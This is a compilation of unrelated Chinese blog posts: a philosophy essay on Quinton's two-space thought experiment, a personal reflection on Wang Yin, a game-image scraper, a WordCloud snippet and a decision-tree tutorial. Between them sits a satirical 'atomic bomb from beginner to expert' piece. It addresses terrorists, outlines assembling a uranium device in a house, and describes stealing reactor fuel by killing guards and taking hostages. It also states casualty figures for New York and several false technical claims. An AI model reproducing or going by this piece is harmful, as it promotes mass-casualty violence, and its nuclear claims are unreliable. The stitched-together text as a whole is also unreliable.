想象一下你获得了一种能力——你的梦境是连续的,每天睡着之后,你都会来到一个与现实世界不同、但与前一天的梦境相同的环境中。 再想象一下,如果你在每天剧情连贯的梦境里的身份和生活环境,和现实中的大相径庭,二者基本上互不影响。那么你的现实世界和梦境世界,是不是可以算作两个完全不相通的平行空间呢? 我们先来回顾一下传统的时空观。 18世纪伟大的德国哲学家康德提出:“空间是具有单一性的。每两个地方之间,都能通过移动而到达。我们只能想象单独的一个空间。如果说到其它空间,也无非是说同一个唯一空间的各个部分。” 什么意思呢? 比如说北京和成都,俩城市其实都是广袤空间的一部分而已。我们给它们起了不同的名字,只是为了方便区分,并不是说它俩属于两个独立的空间。 几百年来,这一观念得到了人们的普遍认同。 不过生于20世纪的英国哲学家安东尼·奎因顿(Anthony Quinton)大胆地提出了异议。 他构想了以下这个(自以为)天衣无缝的故事,来反驳康德的单一时空观。 奎因顿的“双重空间迷思” 想象一下你是一个英格兰居民。 你在家里,刚准备上床睡觉,却赫然发现自己在某个湖边小棚屋中慢慢醒来,身边还有个女人。 你意识到她是你的妻子,因为她大声吵吵着,让你出去捕些鱼回来…… 就这样,你在湖边的世界中度过了一整天,期间充满了各种各样合情合理的生活细节。 一天结束后,你回到小棚屋中沉沉睡去。 而后……你发现自己又在英格兰的家中醒来,所面对的是入睡之前的现实世界。 结束了一整天的枯燥生活后,你再次入睡,湖边小棚屋那边的生活也从它上次结束的地方开始继续,一切都那么连贯,那么自然。 你的妻子甚至还充满关怀地问你:“你昨天夜里焦躁不安,是不是做了什么噩梦啊?”于是你给她讲了你白天在英格兰的日常生活,遇到了哪些人,做了哪些事儿。 就这样,湖边小棚屋的世界和英格兰的世界此起彼伏地交替出现在你的人生中。 在英格兰受的伤导致你在现实世界中留下了伤疤,而你在湖畔世界中身体是完好的; 在湖畔与村民发生的一些争执导致你在湖畔世界的人际关系矛盾重重,而你在英格兰世界中的社交往来一切正常。 在英格兰的一个白天,你吃过午饭,在扶手椅上沉沉睡去,醒来却发现自己正处于午夜时分的湖畔。 湖畔的一切对你来说都充满着新奇和曲折:你的妻子带着锅碗瓢盆消失不见了,你怀疑她是去煽动村民把你选为献给月亮的活祭品。 正当你即将被红眼的村民用鱼叉刺死的时候,你又在英格兰的世界中清醒过来…… 从这以后,你就再也没做过湖畔小屋的梦了。 以上就是哲学家奎因顿为了反驳康德“单一时空观”,而提出的“双重空间迷思”,并表明这个思想实验是完全合理的 ——我们能够生活在双重空间里,它们在空间上没有任何联系,却一样真实。 奎因顿的解释 奎因顿表示,湖畔生活与英格兰的生活一样连贯和自恰,而且它同时具有公共性和独立性: 公共性——湖畔村民认识你,英格兰邻居也认识你,两边的社会都见证了你的存在 独立性——你在英格兰的世界中,湖畔生活只存在于你的记忆中,你的英格兰邻居是接触不到湖畔村民的,反过来也是如此。假如你不在了,这两个世界就彻底断绝了联系 当然,奎因顿预料到了别人会如何反驳:“湖畔”世界是不真实的,没人能找到这个湖的所在。 而且,由于另一边是想象的世界,不存在真实的后果,我们根本不用严肃地对待它。 当然,奎因顿也准备好了一套(自以为)缜密的逻辑来反驳这些反驳他的人:湖畔世界中存在真实的后果!为什么这么说呢?因为你差点被鱼叉刺中的那一刻的确是心惊肉跳啊!你忘了吗?!所以奎因顿认为,湖畔世界的真实性不应该被质疑。 值得一提的是,虽然奎因顿强调了这两个世界在空间上是独立的,但是它们在时间上是连续的。 奎因顿谈到:“如果一个经历是我的,它就是可记忆的;如果它是可记忆的,那它就与我现在的状态在时间上相连接”;也就是说,除非你记得另外一个世界的经历,否则就没理由说你处在两个世界中;但若你真的记得另外一个世界的经历,那就说明这两个世界在时间上不是相互分离的。 现在我们再回过头来看,奎因顿构建的这两个世界,属于同一时间线、但却属于不同空间。 既然如此,我们还能说“双重空间迷思”这个构想合理吗? 反对的声音 一位名叫 K. Ward 的学者在剑桥大学出版社出版的哲学期刊上发表了一篇论文,专门来给奎因顿的构想找了找茬。 他的观点大概是这样的: 奎因顿对“双重空间”的标准是,A空间和B空间没有空间上的联系,即“我们不能从A空间移动到B空间” 。 但仔细想想,我们也没法从凌晨四点的洛杉矶移动到凌晨三点的克利夫兰啊,说它们就是“双重空间”显然是不对的。 所以我们在这里需要重新梳理一下关于双重空间和同一空间的概念: 如果物体在两个空间中可以连续存在, 如果某个地点可以为两个空间所共有, 那么这两个空间就是同一个空间。 躺在早上六点的单人床上,我可以确信无疑地说,我今晚十点再次躺在这里时,这张床和之前是同一张床,这地方和之前是同一个地方。 如果我现在出门从家走到地铁站,“我”在家和地铁站之间连续地存在着,那么家和地铁站就属于同一空间。 现在我们再来看看,奎因顿描绘的场景是否符合双重空间的条件呢? 虽然奎因顿努力让英格兰世界和湖畔世界没有任何实体元素的连续性,甚至连“我”的身体也是,然而我们知道,如果两个状态在同一时间线上是连续的,这两个状态之间必定会存在一种延续性的东西。 另一方面,英格兰世界和湖畔世界在时间上是连续的,奎爷又说它们之间没有实物的延续,这个设想实现起来真是相当困难呀! 这位叫 K. Ward 的学者认为,这两个世界交替时,一定存在一个“中转站”,这个中转站为两个世界所共有,只有当这个中转站存在时,两个世界才能实现在同一时间线上连续。 基于我们刚刚提出定义的双重空间和同一空间的概念:如果某个地点可以为两个空间所共有,那么这两个空间就是同一个空间。
纯粹的扯淡 原子弹能不能从入门到精通我不知道 但《Java/C++/Python/MySQL/xxx从入门到精通》 这些书我知道是不能读的 准备工作 我们大约需要 30磅的铀235,体积差不多有一个棒球的大小,再配合一些很容易到手的材料,这种炸弹就能使1/3哩以内任何东西化为乌有; 2/3哩以内的东西严重受损; 在1.25哩半径内的人都会受到致命的辐射线; 辐射尘随风飘扬,能使40哩内的人都致病。 如果它在纽约市引爆,大概有25万人会死亡,还有40万人会 受伤。这种效果恐怖份子应该会很满意;这种原子弹甚至在战场上也都能派上用场。 不过,要提醒各位:铀235的分量不要超过45磅,因为对这样多的铀, 其引爆的技巧相当困难, 单凭业余的机槭工匠,大概是无法适时且有效地把这些东西凑在一起。 挺有可能你还没做一半,它就在你面前 BOOM 了, 那可就真浪费感情。 我个人的偏好是用36磅或37磅的铀235,因为这样效果不差,而且,如果设计上出点小差错,也不致于有太严重的后果。 一旦把足够的材料紧聚在一起,我们最棘手的技术就是使它们能紧聚在一起维持约半秒钟,这半秒钟的延迟就是技术上最主要的问题。 原因是这样的:当这两堆物质靠太近时,会发生剧烈的反应而产生大量的能量,在瞬间(比一秒钟小很多)迫使这两堆物质分开。 这样的结果和爆竹的效果差不多,几百尺外的人根本不知道有这回事。 对一个 稍有「自尊」的恐怖份子而言,是不会以此为满足的,对吗?所以,当务之急就是要设计出一套办法,使两堆铀235能聚得久一点,好让一些比较惊人的「大事」 发生。 如果你这位恐怖份子有栋两层楼房(含地下室)、两根火药、15包水泥、20立方码的沙石,那么大约只要一个礼拜就可以完工了。 全部的费用,除去房租不算,大概只要3,000美元就够了。根据当前汇率,折合成人民币大概就是 25000 元。 最后的问题是怎样把铀235或钸弄到手,这留待后面再谈。 开始动工 准备妥当后,第一件事就是把分批弄来的铀235分成二等分,用一对半球容器装起来,你或可用乙炔喷灯(AcetyleneTorch)来作。 铀的熔点是414.2°C,而乙炔喷灯的燃点是526.4°C,因此理论土来说,乙炔喷灯足以熔化铀235。 也许你应该花几十块耐火砖作个窑, 加上一个风箱,效果会此较好;不过如果你有耐心再加上一些运气(因为铀这东西燃烧会 BOOM) ,乙炔喷灯应该是够用的了。 铀熔成液体后,流到半球状的洼槽(制陶瓷用的耐火泥就可派上用场) , 则第一个半球型作好冷却了,再移开作第二个。 有件事要注意:这时候,在这区域附近不能有人。因为,铀有对人不利的特性。如果铀熔化时你就在现场,那么,你总会吸进一点,嘿嘿..., 其结果不是说你会少活几年,而是你只剩下几个钟头好活了! 如果你这个恐怖份子确能置个人生死于度外,那当然就不必计较这些了, 否则我建议你采用自动控制装置。 当铀熔化时,和它相隔50尺,再用5吨铅隔离,这样应该足够安全了。 将铀235分成两堆的工作完成后,你就应分别用铅箱装好。再从二楼挖个洞通到地下室,用一对黑铁管接起来,使总长约20尺左右。 若能用6寸厚的水泥敷于管外可能稍好,不过如果地板够坚实,而且房子是建在岩石上,也可以不必这么麻烦。 在放下管子之前, 先把装铀的半球形容器的平面朝上放在水泥上,再把管子放置妥当,原子弹就已完工一半了。为了不使铀散逸,地下室应该用沙、石、水泥和水混合 填好, 但因为这只要用一次就达到目的了,做得好不好看也无所谓啦。真正要注意的是,管子外面有足够的阻挡力量,使原子弹在 BOOM 前 铀不致漏出。 其实只要半液体状的沙泥混合物,就足以担当大任了。如此这般, 原子弹的接收部分就完工了。 引爆部分比较难做,构想之一是将另一个半球容器放在 管子的上端,引爆时, 让它倒向下面的接收部分就可以了。原理上虽很简单,但有些技术上的困难不易解决,比如说,如果引爆用的半球容器放歪了一点,它就会沿着管子滑下来,这样你想成为恐怖份子的美梦就落空了,因为这种死法不会让人觉得恐怖,只会成为茶余饭后的笑料罢了。 目前可能是最简单而有效的设计, 把一个 细线织成的罩子 (就像 夏 天防苍蝇的那种) ,放在管子的上端,再塞进管内,留约3~4寸在外面;这时再把另一段4尺长的管子焊在原来的管子上。 若要使连接的部分更牢, 可以在此部分 钻几个洞,把铁钉插进去。然后拿3尺长的2.5寸铜管,里面装熔化的铅,将引爆的半球容器安在铅底座中一个吻合的凹槽里;另一根铁棍则凿入管子的另一端约一尺,这装置总重量是80~95磅。最后,把有螺纹的盖子套在管子上头,等到它能旋得松紧自如时,再将它拿下来,在它上面钻一个洞,使能容得下引爆的装置 杆; 装置杆则留下6~8寸长露出洞口, 杆上并恰留钻一个钉孔。将各种大小不同的钉子试着去配合,最恰当的大小是能合于整个引爆装置(当然,试着配合时暂不 在接受管上端作,以免危险) 。然后,将 TNT 或 炸-药涂在一个碟子上(最好是咖啡壶中过滤器的底座) ,再塞进去,并插进一两个雷管。这放在引爆装置杆的四周,再由一两条引线连出来到外面,然后把它旋紧, 原子弹就大功告成了。 剩下的工作只是把引线接到定时器上,再把下端的安全针拔掉,然后离开这城市,约12小时后,这城市就离开这个世界了。 定时器一旦引 爆, 其力量足使另一个安全针脱落,引爆装置就掉到接收部分去,即使不考虑 BOOM产生的加速度,光是重力就足使95磅的物体由20尺高空掉下, 产生8X10的十次方耳格/秒的动能。 把 BOOM 所生的冲力考虑进去, 则接触点有10的十二次方耳格/秒的动能,可使两个半球容器接触的时间够长,而产生令人满意的效果。 防辐设备 为了要将所有重要的步骤交代清楚,应该再将几个小问题说 明一下。 例如,前文曾经简略地谈到,用乙炔喷灯时要考虑铀有发火燃烧的可能性。 其实,应该说整个机械操作都要在「乳状液槽」中进行。对不太熟悉机械技术操 作的人而言, 所谓乳状液就是一种看来像牛乳一样的液体,和油有许多相似之处,可是不会发火燃烧。这种乳状液在一般机械工厂供货商处都很容易买到,而且不会 有入问你买这种东西干什么?用了这种乳状液,可以使危险降到最低程度。 事实上,若我们要溶解铀或对铀作机械处理,最好在纯氮的大气中才安全。 可是如果你够 小心, 而且运气又好的话,那么也不必用这种极端安全的方法。辐射的问题是比较麻烦的一点,镭的辐射量和重量成正比,但铀的辐射量和重量却是成指数关系 (也是这种性质 使它具有 BOOM 性) 。 因为每个半球所装的质量都超过了临界值的一半,所以和它们同在一间房子里非常地危险。只吸进去一点点含放射性尘埃的空气,就意味着你马上要离开这个世界。 因此我建议所有的工作人员应有其它的氧气供应,每人口中含个氧气管或可解决这个问题。但要通盘解决辐射的问题可能比较麻烦,不过只要有决心,加上智能和运气,这问题还是可以克服的。 我还要建议采用一种用铅作成外壳而且有动力的轮椅,让操作员坐在里面可以安全地作业。 上面只要开个小缝, 用铅作的玻璃当窗户, 操作员就可以看到外面。铅作的袖子和手套,可以用来作一些需要和铀碰触的机械动作。 为了防止辐射外逸,整栋房子的墙壁、地板都需覆盖上一层铅; 地下室的天花板也要加上一层铅板,以免接收部分产生辐射的问题。 算起来起码要用上6~8吨的铅,以维持基本的安全问题。 这么一来,又得多花工夫支撑地板,免得垮下来。这些工作都作好了,就可以开始动手制造原子弹。 如果你想作一道「红烧兔子」大餐,打开食谱第一步就是要抓一只兔子来!同理,现在你也会问:「怎样把铀 235弄到手?」(铀235通常比钸容易拿到。 ) 其实,你只要平时注意看报纸,应该不难知道,核能发电厂里就有。只要由电厂里偷根控制棒出来,把它熔了, 再把其中没有用的铀238分离出来就成了。要潜入一个核子反应炉, 说起来并不是什么太难的事,尤其大学校园中的核子反应炉,都只有些马马虎虎的安全设施。 一般设施就是些带刺铁丝网围墙, 门口站了一两个警卫。事前可以作出误闯的样子来几次投石问路,看看有没有什么电子安全装置,大概结果都是根本没有的。 可是 我们偷偷摸摸的潜进去并没有什么用,因为铀非常的重,不要讲是一个人,就算是一队人马开进去,也搬不到足够的分量出来。尤其这批人马又身装铅甲以防辐射, 就更不管用了。依我之见,干脆偷辆卡车和拖车(要那种特重型的,就是运三峡电站转子的那种) ,干掉警卫,代以自己人,然后就直闯进去拿你要的东西,很干脆,效率又高。 不过,反应器都是装在一个镍-铁合金的球状容器里,容器再浸在水中,通常,旁边会有千斤顶,以便修护时用,所以也可以顺便用来把整个反应炉心起出来放到卡车里。 不过要注意一件事,搬动反应器时要拔出一些燃料棒,或是插进一些节制棒,否则你和整个反应器都要化为灰烬。 建议你或可向当时被你挟制 的人质请教这方面的技术,以便搬动炉心。 此外,整个反应器重约50吨,加上拖车需要6寸厚的铅板作防护,所重约50吨,加上拖车需要6寸厚的铅板作防护,所以拖车如何拖动65吨的重量,还是颇伤脑筋的 (所以前面要用特重型的拖车,要不然到了地,炉子也搬上车了, 却发现拖不动, 那不是面子都丢尽了) 。 或者,你觉得搬走整个反应器不切实际,也可以只带走约1,200磅的备用燃料棒。 不过千万也要带着石墨或铅,免得燃料棒因不断地反应生热而熔化了。 如果你忘了这步骤,回家打开盖子,只会看到一堆熔化了的铀, 而且四处散射, 可能你当场就一命呜呼而遗笑万年。 性命是小,这脸咱可丢不起,所以别忘记拿了1,200磅的燃料棒之后,要和15,000磅的石墨或铅混合。 反应器的铀大约含3%的铀235(自然界铀则只含0. 5%的铀235) , 做原子弹的铀则需要97%的铀235,否则根本不 BOOM。到手的1,200磅燃料棒,可以提炼出所需要约 36磅的铀235,不过要有耐心和经验去分离它。如果你自知无法全部把铀235分离出来,就得多弄点燃料棒。 一般说来,以目前的技术,要达到每次增加纯度25%并没有什么问题,所以你最少要弄到4,800磅的燃料棒,若能弄到9,600磅最好。 把这些加上去,你总共要带15万磅(75吨)的东西。 其次还要找个地方放这些东西,我建议你租间仓库,如用原来那两层楼的建筑来分离铀似乎不太实际,因为这至少需要2万平方尺的空间。 分离高招 下面就要考虑用 什么方法来分离铀235。 对恐怖份子来说,气体扩散法是好方法之一,这也是早期制造原子弹时所采用的,不但可靠又不必太复杂的技术。 不过花费较多,而且所用的化学药品更是吓人。首先,你要有约12哩长的特殊玻璃线钢管,并以60吨的氢氟酸(HF)形成六氟化铀,然后吹向一具有特殊小孔的膜。 因为六氟化铀 238较重,在经过这层膜时会被陷住而不易透过。每过一次可使铀235的成分增加0.5%,如此程序只要反复操作,所得六氟化铀235的成分就愈大, 最后 只要把六氟化铀中的氟分离出来就行了。因为氢氟酸很贵,而且不易取得所以最好是去偷一点来,要不然就先去偷个几百万美金也行。 如果你觉得此路不通,还有其 它的办法 。你可以在树林里建个滋生反应器(BreederReactor) , 用铀来作钸,再用化学上的技术分离即可。至于如何建滋生反应器,也不是难事,随便一本大学教科书,都可以告诉你好几种方法。虽然在理论上没有困难, 但是也有它实际上的难处。 不过如果你刚好有私人用的小河,又有几火车的钠,数量可观的不锈钢管,一百亩与外界隔离的土地,那就没有间题。如果对这两种方法你都没 有兴趣,还有一些有趣的新技术可供参考。 你可以先用一块低温磁铁(CryogenicMagnet) ,它在液态氦的温度(约零下270°C)下能保持 20,000 高斯的磁扬...不过,唔,不过下面的程序太复杂了... 还有一法是用雷射,因为铀238较重,被激光束照射后,运动的偏离角比铀235小。 所以若在和雷射光垂直的平面上洒上一层铀,则铀235、铀238可藉其偏离角来分离。此法原理上简单可行,但时间上太慢。一天大概只能处理 20磅的 铀 (含235和238) , 而分离的效率约12.5%,每处理一次可以产生约10%的铀235,所以要处理9次才能达到原子弹的标准。如此算来,从9,600磅磅的燃料棒中分离出36磅纯度97%的铀235,约需费时四年。然而,它的辐射量又使你根本没有四年好活,所以还得找三两个志愿者来完成你的未竟之志。因此,若能有愚公移山之志,或可成功。 祝 你 好 运 !
能精神的活着就很好 人生即生存 0.小学老师告诉我 最近我迷恋上看王垠的博客和他的故事。 我迷恋他最主要的原因是他突然让我觉得有些遗憾不算什么了。 他说的没错,每个父母在自己小的时候都会对自己的孩子说,加油以后上清华,那是中国最好的学校。 每个孩子都会有这样一个清华梦。 从小学开始我就认为我自己我不配清华,因为清华一定是属于优秀人的,我这种老师眼中的问题生根本就不配。 我意识到了自己很多的不足, 但这种不足是老师告诉我的。 1.我不是科学家 我看了王垠的博客,看了无数人对他的评价。 我没有他这么偏激,至少我没有他这么勇敢。 我没有地道的科学家的气魄,我会考虑钱的因素。 我没有勇气像他一样放弃学位,已经熬过2年了,再委屈和浪费2年或许会比给我的家庭带来压力更好。 至少,我是懦弱的,或者说我不是科学家,永远了解不到那些可以为梦想坚持奋斗的热忱,或许王垠是幸福的,在追逐自己梦想的道路上一刻也不停息。 其实,我迷恋上王垠还有一个原因。我觉得我太容易满足了,很多东西都只是浅尝辄止。 大一刚来学了Ps,做视频,调音,后来学了一点C++之后转到汇编学加密解密,一直还想着可以写一篇破解进看雪精选,没坚持多久就去学了Java,虽然现在还在Java上努力,但方向还是不断在改变,混杂的学着Python,GO,Kotlin。 而王垠迷恋推崇一个东西,就会为一个东西狂热。 可是当你拥有了强大的力量,可以不再畏惧的时候,这种崇拜,以及由于崇拜所带来的偏激心理,就渐渐的消亡了。这就像是一个身怀绝世武功的人,他完全没必要让别人都相信他是高手。因为他知道,自己在谈笑之间,就可以让樯橹灰飞烟灭。于是,他自得其乐,对别人表现出的任何感情,都变得淡漠和无动于衷。 他的态度 超前于这个时代,是时代的悲哀,也是他自己的悲哀 2.Q里Q气 看到我认识的人在空间朋友圈炫耀自己拿了奖 看到他们在炫耀自己又拿了什么表演舞蹈或者各种奇怪的奖状以及名号。 我觉得那是告诉别人你优秀的假象的信号。 我现在想起来就是希望以后不要辜负它,让它觉得我拿它不配,它可以有更好的归属。 可能因为专业领域的问题,我觉得那些奖项没有如何意义,那些团体比赛更是如此,一个计算机科学领域的比赛,居然是只看文案来评比。 想起之前参加蓝桥杯的时候,一起住宿的一个人说参加这个比赛是想拿了国奖保研有加分。旁边的Q很纳闷,我也很纳闷,为什么Q会注意我喝了三天肥宅快乐水的事(前几天吃饭喝快乐水又被发现了,没法快乐了)。 (当时本来说要去山上看全景,但我先拉他来了慈宁宫) 个人感觉Q是一个很有人格魅力的人,因为他简直是移动导航 ;而我是一个很基质的人,因为我感觉他会看我这篇博客的,得多夸夸他。 3.阻力 说句很不负责任的话 我这么菜 就是因为我所在的计院环境 三学期C#课程,院里和培训班的密切合作 让我非常清醒认识自己的环境 周围有一片为了考研在做数学背理论的人 却少有技术钻研的人 他们几乎敲不出代码 (清华计算机院一楼) (中矿大早上的自习室) 在受挫的路上我可以停下脚步来想一想自己那些做的不好,至少可以让我看见王垠的思想。 幸好我没有得到一份荣耀,我知道那份荣耀会在一定程度上冲击我的上进心和那种踏实。 (智商的全套——王垠) 虽然我不喜欢周围的环境,但我也没法做到像王垠一样写一份1万7千余字的“退学申请书”。 我承担不起后果。 大二的这一学期,可以说是天天在写实验报告,课程堆在一起,根本没有多余的时间,都到期末了,还有一天三份实验报告的情况。 可以说是教学计划安排很不合理了。 我看到了王垠身上的闪光点,就是能静下心来研究,甚至真的钻进去,然后深入。 是的,这是科学家才会做的事情。 静下心来研究,有幸体会过这种状态,大一下学期的草稿纸上,上面充斥着自己的想法。 路上,食堂,教室,我都会想一些原理,或者更深层次实现的应用。 我可以每周五通宵去学C++,可以半夜爬起来记下自己的想法。 (王垠的40行cps.ss。它的美,超过给其他公司写的成千上万行的代码) 4.期许 希望自己在未来的5年或者4年的时间里,可以变得不一样。 至少,是现在的100倍还要优秀。 还有,我必须非常努力,才可以看起来毫不费力。 帮人做过比赛设计,做过课题大作业,他们觉得我做的很“顺滑” 但他们不知道我在这之前多少次熬夜,掉了多少xiu发 想想上次那个Android设计就气,要求多的要pull,以为我是神仙吗... 我发现我真的是神经,这几天疯狂给室友J秀我的机会。吼吼~~我一定又在二了。 不求像王垠,希望自己有一天可以像CIZE那样就爽歪歪了。 是的是的,每天都要皮一皮,不然容易在这里读抑郁。
曾经144区的王者 学了计算机后 头发逐渐从李白变成了达摩 秀发有何用,变秃亦变强 (emmm徒弟说李白比达摩强,变秃不一定变强) 前言 前几天开了农药的安装包,发现农药是.Net实现的游戏 虽然游戏用的语言和排位一样让人恼火 但感觉图片美工还是可以的 比如: 不知...不知道你们是不是和我一样喜欢 玩阴阳师呢,我可是Ssr只有两只狗子的非酋呢 正文 在 http://pvp.qq.com/web201605/herolist.shtml 可以看到全英雄列表。 按F12查看元素 看到下面这一堆<li></li>标签了吗 里面的href就是每个英雄的详情地址 图片就在这个链接中 拿到selector body > div.wrapper > div > div > div.herolist-box > div.herolist-content > ul > li > a 英雄列表获取源码: 1 def getHeroList(): 2 '''取所以英雄存入list中''' 3 hero = {} 4 res = requests.get(mainurl) 5 sp = BeautifulSoup(res.content, "html.parser") 6 lists = sp.select('body > div.wrapper > div > div > div.herolist-box > div.herolist-content > ul > li') 7 for li in lists: 8 oj = li.select('a')[0]; 9 hero['url'] = oj['href'] 10 hero['name'] = oj.text 11 # 正则表达式取ename编号 12 ename = re.findall('herodetail/(\d+)\.shtml', oj['href'])[0] 13 hero['ename'] = ename 14 herolist.append(hero) 15 hero = {} 16 return herolist 进入英雄详情之后 可以发现,要保存图片的地址也在<li></li>中 他的selector是: body > div.wrapper > div.zk-con1.zk-con > div > div > div.pic-pf > ul > li > i > img 只需要将这个图片保存下来就可以了 代码: 1 def saveImg(filepath, imgUrl): 2 '''下载图片并保存''' 3 r = requests.get(imgUrl, stream=True) 4 with open(filepath, 'wb') as f: 5 for chunk in r.iter_content(chunk_size=1024): 6 if chunk: 7 f.write(chunk) 8 f.flush() 9 f.close() 全部代码: 1 # -*- coding: utf-8 -*- 2 3 import os 4 import re 5 import requests 6 from bs4 import BeautifulSoup 7 8 import sys 9 reload(sys) 10 sys.setdefaultencoding('utf-8') 11 12 baseurl = 'http://pvp.qq.com/web201605' 13 mainurl = 'http://pvp.qq.com/web201605/herolist.shtml' 14 herolist = [] 15 16 17 def getHeroList(): 18 '''取所以英雄存入list中''' 19 hero = {} 20 res = requests.get(mainurl) 21 sp = BeautifulSoup(res.content, "html.parser") 22 lists = sp.select('body > div.wrapper > div > div > div.herolist-box > div.herolist-content > ul > li') 23 for li in lists: 24 oj = li.select('a')[0]; 25 hero['url'] = oj['href'] 26 hero['name'] = oj.text 27 # 正则表达式取ename编号 28 ename = re.findall('herodetail/(\d+)\.shtml', oj['href'])[0] 29 hero['ename'] = ename 30 herolist.append(hero) 31 hero = {} 32 return herolist 33 34 35 def saveImg(filepath, imgUrl): 36 '''下载图片并保存''' 37 r = requests.get(imgUrl, stream=True) 38 with open(filepath, 'wb') as f: 39 for chunk in r.iter_content(chunk_size=1024): 40 if chunk: 41 f.write(chunk) 42 f.flush() 43 f.close() 44 45 46 if __name__ == '__main__': 47 hlist = getHeroList() 48 for hero in herolist: 49 herodir = os.path.join(os.getcwd(), hero['name']) 50 heropage = baseurl + '/' + hero['url'] 51 print('[%s]' % (herodir)) 52 res = requests.get(heropage) 53 sop = BeautifulSoup(res.content, "html.parser") 54 li = sop.select('body > div.wrapper > div.zk-con1.zk-con > div > div > div.pic-pf > ul ')[0]['data-imgname'] 55 li = str(li).split('|') 56 print(li) 57 # 遍历所有皮肤 58 for i in range(len(li)): 59 imgurl = 'http://game.gtimg.cn/images/yxzj/img201606/skin/hero-info/' \ 60 + hero['ename'] + '/' + hero['ename'] + '-bigskin-' + str(i + 1) + '.jpg' 61 imgname = os.path.join(herodir, li[i] + ".jpg") 62 print('----[%s]--[%s]---' % (imgname, imgurl)) 63 # 创建英雄目录 64 if os.path.exists(herodir) == False: 65 os.mkdir(herodir) 66 saveImg(imgname, imgurl) 图片生成在同级目录
字符可以作画(参考前文:使用记事本画出照片) 字符串一样也可以 安装词云WordCloud. 1 pip install wordcloud 编写要生成词云的内容字符串 保存为txt格式就可以了 使用Python代码实现词云 1 from wordcloud import WordCloud 2 import matplotlib.pyplot as plt 3 4 5 if __name__ == '__main__': 6 f = open(u'data.txt','r').read() 7 word = WordCloud(background_color='white',width=1000,height=860,margin=2).generate(f) 8 plt.imshow(word) 9 plt.axis('off') 10 plt.show() 11 word.to_file('test.png') 效果图: 当然这里只是简单的使用了WordCloud的词云功能 他的功能远远不止于此
前文参考: Python爬虫(一)——开封市58同城租房信息 Python爬虫(二)——对开封市58同城出租房数据进行分析 Python爬虫(三)——对豆瓣图书各模块评论数与评分图形化分析 数据的构建 在这张表中我们可以发现这里有5个数据,这里有两个特征(房租是否少于2000,房屋面积是否大于50)来划分这5个出租房是否租借。 现在我们要做的就是是要根据第一个特征,第二个特征还是第三个特征来划分数据,进行分类。 1 def createDataSet(): 2 dataSet = [[1, 1, 'yes'], 3 [1, 1, 'yes'], 4 [1, 0, 'no'], 5 [0, 1, 'no'], 6 [0, 0, 'no'] 7 ] 8 9 labels = ['no surfacing','flippers'] 10 11 return dataSet, labels 计算给定数据的信息熵 根据信息论的方法找到最合适的特征来划分数据集。在这里,我们首先要计算所有类别的所有可能值的香农熵,根据香农熵来我们按照取最大信息增益的方法划分数据集。 以信息增益度量属性选择,选择分裂后信息增益最大的属性进行分裂。信息熵是用来衡量一个随机变量出现的期望值。如果信息的不确定性越大,熵的值也就越大,出现的各种情况也就越多。 其中,S为所有事件集合,p为发生概率,c为特征总数。注意:熵是以2进制位的个数来度量编码长度的,因此熵的最大值是log2C。 信息增益(information gain)是指信息划分前后的熵的变化,也就是说由于使用这个属性分割样例而导致的期望熵降低。也就是说,信息增益就是原有信息熵与属性划分后信息熵(需要对划分后的信息熵取期望值)的差值,具体计算法如下: 1 def calcShannonEnt(dataSet): 2 countDataSet = len(dataSet) 3 labelCounts={} 4 for featVec in dataSet: 5 currentLabel=featVec[-1] 6 if currentLabel not in labelCounts.keys(): 7 labelCounts[currentLabel] = 0 8 labelCounts[currentLabel] += 1 9 getshang = 0.0 10 11 for key in labelCounts: 12 prob = float(labelCounts[key])/countDataSet 13 getshang -= prob * log(prob,2) 14 15 16 return getshang 划分数据集 在度量数据集的无序程度的时候,分类算法除了需要测量信息熵,还需要划分数据集,度量花费数据集的熵,以便判断当前是否正确的划分了数据集。 我们将对每个特征数据集划分的结果计算一次信息熵,然后判断按照那个特征划分数据集是最好的划分方式。 也就是说,我们依次选取我们数据集当中的所有特征作为我们划定的特征,然后计算选取该特征时的信息增益,当信息增益最大时我们就选取对应信息增益最大的特征作为我们分类的最佳特征。 1 dataSet = [ 2 [1, 1, 'yes'], 3 [1, 0, 'no'], 4 [1, 1, 'yes'], 5 [0, 1, 'no'], 6 [0, 0, 'no'] 7 ] 在这个数据集当中有三个特征,就是每个样本的第一列和第二列,最后一列是它们所属的分类。 我们划分数据集是为了计算根据那个特征我们可以得到最大的信息增益,那么根据这个特征来划分数据就是最好的分类方法。 因此我们需要遍历每一个特征,然后计算按照这种划分方式得出的信息增益。信息增益是指数据集在划分数据前后信息的变化量。 计算信息增益 依次遍历每一个特征,在这里我们的特征只有两个,就是房租是否少于2000,房屋面积是否大于50。然后计算出根据每一个特征划分产生的数据集的熵,和初始的数据集的熵比较,我们找出和初始数据集差距最大的。那么这个特征就是我们划分时最合适的分类特征。 1 def chooseBestFeatureToSplit(dataSet): 2 numFeatures = len(dataSet[0])-1 3 baseEntropy = calcShannonEnt(dataSet) 4 bestInfoGain =0.0 5 bestFeature = -1 6 7 for i in range(numFeatures): 8 featList = [sample[i] for sample in dataSet] 9 uniqueVals = set(featList) 10 newEntropy = 0.0 11 for value in uniqueVals: 12 subDataSet = splitDataSet(dataSet,i,value) 13 prob = len(subDataSet)/float(len(dataSet)) 14 newEntropy += prob * calcShannonEnt(subDataSet) 15 16 infoGain = baseEntropy - newEntropy 17 18 if(infoGain > bestInfoGain): 19 bestInfoGain = infoGain 20 bestFeature = i 21 22 return bestFeature 数据检测 sklearn实现交叉验证十折交叉验证流程 将数据集随机地切分为S个互不相交的大小相同的子集 然后挑选其中S-1个子集作为训练集,训练模型,用剩下的一个子集作测试集,获得测试误差或者评测指标 将上面过程对所有可能的S种选择重复进行,即每次都是用不同的测试集 最后对S次实验所得的数据(测试误差或者评测指标)取均值。 1 train = np.array(myDat) 2 loop = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10]) 3 kf = KFold(n_splits=10) 4 5 for train_index, test_index in kf.split(train): 6 print("train:",train_index, "test:", test_index) 7 X_train, X_test = train[train_index], train[test_index] 8 y_train, y_test = loop[train_index], loop[test_index] 9 print(calcShannonEnt(train[train_index]))
